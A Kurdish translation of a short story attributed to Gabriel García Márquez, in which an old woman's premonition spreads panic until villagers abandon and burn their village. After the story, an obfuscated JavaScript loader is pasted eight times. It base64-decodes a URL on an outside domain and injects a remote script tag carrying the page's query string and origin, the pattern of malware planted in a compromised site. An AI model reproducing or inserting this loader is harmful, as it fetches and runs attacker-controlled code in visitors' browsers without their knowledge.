تشتەك ب ترس دێ روودەت

گابرێیل گارسیا ماركیس

ل گوندەكێ بچووك، پیرەژنەك ل گەل دو كوڕێن خوە دژیا. كوڕەك ١٧ سال بوو، یێ دی ژی ١٤ سال بوو. وێ خوارن ددانا بەر هەردو كوڕان. وان دیت دایكا وان یا مڕیتۆیە. گۆتنێ: تە خێرە دامایی؟
-نوزانم، تنێ هەست دكەم تشتەك دێ ل ڤی گوندی روودەت.
هەردو كەنین و گۆتن: ئەڤە تنێ پێشبینیێن پیرەژنانن.
كوڕك چوو یاریا بلیاردێ بكەت، كو دربێ كارام ب دانت. هەڤڕكێ وی گۆتێ:
– ب بیزۆیەكی شەرتانێ دكەم، تو سەرناكەڤی.
بەرهەڤبوویان كرنە كەنی. وی ژی كرە كەنی. دربێ كارامبۆلا دانا. سەرنەكەفت. بیزۆیەك دا هەڤڕكێ خوە، بەرهەڤبوویان گۆتێ: چ چێبوو؟ كارامبۆلا تشتەكێ ب ساناهی بوو؟ وی بەرسڤ دا: راستە، لێ دایكا من دگۆت، ل ڤی گوندی دێ تشتەكێ ترسناك روودەت.
هەموویان پێ كرە كەنی. ئەوێ بیزۆیەك وەرگرتی ژی چوو مال. دایكا وی و دوتماما وی ژی ل مال بوون. ب خۆشی ڤە گۆت: من ئەڤرۆ ئەڤ بیزۆیە ب دەستڤەئینا. ب ساناهی من ژ داماسۆیی چێكر. چونكو ئەو یێ دەبەنگە.
– و بۆچی یێ دەبەنگە؟
– ئەو نە یێ ئارام بوو. دایكا وی گۆتبوویێ دێ تشتەكێ بترس ل ڤی گوندی ودت.
كا وی ژی گۆتێ: نابت تڕانا ب پێشبینیێن دانعەمران بكەی، هندەك دبنە ڕاستی.
دوتماما وی ئەڤ دەنگۆباسە زانی. چوو نك گۆشتفرۆشی و گۆتێ: كیلۆیەكا گۆشتی بدە من. گۆشتفرۆشی گۆشت دبڕی و دوتمامێ گۆتێ: هەما بكە دو كیلۆ. یێ دبێژن دێ تشتەكێ بترس ل ڤی گوندی روودەت. خوە بەرهەڤكرن باشترە.
گۆشتفرۆشی ژی دەمێ ئێك دهاتە نك، دا بێژتێ دو كیلوا ببە چونكو دێ تشتەكێ بترس ل گوندی روودەت.
ئێكێ ژی گۆتێ: من چار زارۆكێن هەین، هەما چار كیلوا بدە من.
هۆسا گۆشتفرۆشی د ئێك سات دا گۆشت هەموو فرۆشت و چێلەكا دی ژی سەرژێكر.
ڤێ پرۆپاگەندێ بەرفرەهی ب خوە ڤەدیت. خەلكی گوندی ژی هەموو ل هیڤیا روودانەكا برس بوون. هەموو بزاڤ هاتنە راوەستاندن. ژ نشكاڤە سات دو پشتی نیڤرۆ سەقا گەرمبوو. ئێكی گۆت: هوون هەست ب ڤێ گەرما زێدە دكەن؟
– بەلێ، پلێن گەرماتیێ هەر ل ڤی گوندی د بلندن. موزیكژەن ژی ئامیرێن خوە قەتران دكەن و ل بەر سیبەرێ موزیكێ دژەنن دا ئامیرێن وان تێكنەچن.
ئێكێ دی گۆت: چ جاران ل ڤی دەمی ئەڤ گەرماتیە نەبوویە.
– بەلێ، گەرم هەر هەبوویە، لێ ب ڤێ پلێ نەبوویە.
ل گوندێ وێران، ل ڤێ مەیدانا وێران، چووچكەك داددت. خەبەرێ دادانا وێ بەلاڤ دبت (چووچكەكێ دادا مەیدانێ). گوندی بترس ڤە هاتن دا وێ چووچكێ ببینن.
-بەلێ، هەردەم چووچك ل ڤێرە داددن.
-راستە، لێ نە ل ڤێ ساتێ.
خەلك تووشی نیگەرانیێ بن و تكشق و بریارا باركرنێ ددەن. زەلامەكێ ب شەرتێن خوە زەلام گۆت:
-ئەز زەلامم، زەلامەكێ ب شەرتێن خوەمە، لێ من بریار دا ژ ڤێرە باركەم.
كەلوپەلێن خوە لێكدان، حێوانێن خوە كۆمكرن. زاڕۆكێن خوە ل سەر بارا سواركرن و هەموو تشتێ خوە ژی كرە د ئەرەبان دا و د جاددەیا سەرەكی را كاروانێ خوە هاژۆت. هەموو خەلكێ گوندێ وێران لێ مەیزەدكرن و دگۆتن:(مادەم ئەڤە چوو، ئەم ژی دێ چین).
هۆسا مشەختبوونێ ژ گوندی دەستپێكر. گوند ڤالا بوو. ئێكی دگۆت: هیڤیدارم چ نەخۆشی ل شینوارێن مە دیار نەبن. و ئاگر بەردا خانیێ خوە. هۆسا خانیێ خوە سۆت و چەند خانیێن دی ژی ل گەل هاتنە سۆتن.
خەلكێ گوندی بترس دڕەین هەر ەك ژ ەڕكی دژوار دڕەڤن. ئەوا پشبینیا مەترسیێ ژی كری، ل گەل وان دڕەڤی و هەر دگۆت:
– من هەر دگۆتە هەوە دێ تشتەكێ بترس روودەت، هەوە هەر دگۆت تو یا دینی.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە